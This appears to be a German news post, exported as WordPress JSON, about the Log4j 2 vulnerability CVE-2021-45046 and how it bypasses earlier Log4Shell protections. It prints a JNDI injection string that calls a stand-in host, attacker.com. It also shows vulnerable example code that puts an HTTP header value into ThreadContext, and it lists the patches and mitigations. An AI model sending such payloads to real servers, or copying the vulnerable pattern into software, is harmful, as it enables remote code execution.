{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Eine neue Angriffsmethode auf Log4j 2, die den hinzugef\u00fcgten Schutz umgehen kann.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
In der Implementierung von JNDI-Eins\u00e4tzen in der Log4j 2-Bibliothek wurde eine weitere Schwachstelle (CVE-2021-45046) entdeckt, die trotz der in der Version 2.15 hinzugef\u00fcgten Korrekturen und unabh\u00e4ngig von der Verwendung der Einstellung «log4j2.noFormatMsgLookup» auftritt. Das Problem stellt haupts\u00e4chlich eine Gefahr f\u00fcr \u00e4ltere Versionen von Log4j 2 dar, die durch das Flag «noFormatMsgLookup» gesch\u00fctzt sind, da es erm\u00f6glicht, den Schutz vor der fr\u00fcheren Schwachstelle (Log4Shell, CVE-2021-44228) zu umgehen, die es erlaubt, eigenen Code auf dem Server auszuf\u00fchren. F\u00fcr Benutzer der Version 2.15 ist die Ausnutzung auf die Schaffung von Bedingungen beschr\u00e4nkt, die zu einem Absturz der Anwendung aufgrund von Ressourcenersch\u00f6pfung f\u00fchren k\u00f6nnen. <\/p>\n
Die Schwachstelle tritt nur auf Systemen auf, bei denen beim Logging kontextbezogene Abfragen (Context Lookup) wie ${ctx:loginId} oder MDC-Vorlagen (Thread Context Map), beispielsweise %X, %mdc und %MDC, verwendet werden. Die Ausnutzung besteht darin, Bedingungen f\u00fcr das Protokollieren von Daten zu schaffen, die JNDI-Platzhalter enthalten, wenn im Anwendungskontext Abfragen oder MDC-Vorlagen verwendet werden, die die Formatierungsregeln f\u00fcr das Protokoll definieren. <\/p>\n
Forschende von LunaSec haben darauf hingewiesen, dass bei Log4j-Versionen unter 2.15 diese Schwachstelle als neuer Angriffsvektor f\u00fcr Log4Shell genutzt werden kann, was zur Ausf\u00fchrung von Code f\u00fchrt, wenn beim Protokollieren ThreadContext-Ausdr\u00fccke verwendet werden, die externe Daten enthalten, unabh\u00e4ngig davon, ob zur Sicherheit das Flag «noMsgFormatLookups» oder das Muster «%m{nolookups}» aktiviert ist.
<\/center> <\/p>\n
Das Umgehen des Schutzes bedeutet, dass anstelle der direkten Einspeisung «${jndi:ldap:\/\/attacker.com\/a}» dieser Ausdruck \u00fcber den Wert einer Zwischenvariablen, die in den Formatierungsregeln f\u00fcr die Protokollausgabe verwendet wird, eingespeist wird. Beispielsweise, wenn beim Protokollieren die Kontextanfrage ${ctx:apiversion} verwendet wird, kann der Angriff dadurch durchgef\u00fchrt werden, dass die Daten «${jndi:ldap:\/\/attacker.com\/a}» in den Wert eingef\u00fcgt werden, der in der Variablen apiversion gespeichert wird. Beispiel f\u00fcr anf\u00e4lligen Code: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \\\/\\\/ Der Wert des HTTP-Headers «X-Api-Version» wird in den ThreadContext \u00fcbergeben. ThreadContext.put(«apiversion», apiVersion); \\\/\\\/ Beim Protokollieren wird der externe Wert apiversion \u00fcber die Einspeisung ${ctx:apiversion} bearbeitet. logger.info(«Eine Anfrage f\u00fcr die API-Version erhalten»); return «Hallo, Welt!»; } <\/p>\n
In der Version Log4j 2.15 kann die Schwachstelle f\u00fcr DoS-Angriffe genutzt werden, wenn Werte an ThreadContext \u00fcbergeben werden, die zu einer Endlosschleife bei der Verarbeitung des Ausgabeformatierungsmusters f\u00fchren.
<\/center> <\/p>\n
Um die Sicherheitsanf\u00e4lligkeit zu beheben, wurden die Updates 2.16 und 2.12.2 ver\u00f6ffentlicht. In der Version Log4j 2.16 wurde neben den in Version 2.15 implementierten Fehlerbehebungen und der Bindung von JNDI LDAP-Anfragen an \u201elocalhost\u201c die JNDI-Funktionalit\u00e4t standardm\u00e4\u00dfig vollst\u00e4ndig deaktiviert und die Unterst\u00fctzung f\u00fcr Platzhalter-Nachrichtenvorlagen entfernt. Als Alternativschutz wird empfohlen, die Klasse JndiLookup aus dem Classpath zu entfernen (zum Beispiel: \u201ezip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class\u201c). <\/p>\n
Informationen \u00fcber das Erscheinen von Patches in den Paketen sind auf den Seiten der Distributionen (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) und der Hersteller von Java-Plattformen (GitHub, Docker, Oracle, vmWare, Broadcom, Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure usw.) zu finden. \n Quelle: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Eine](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"Eine](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n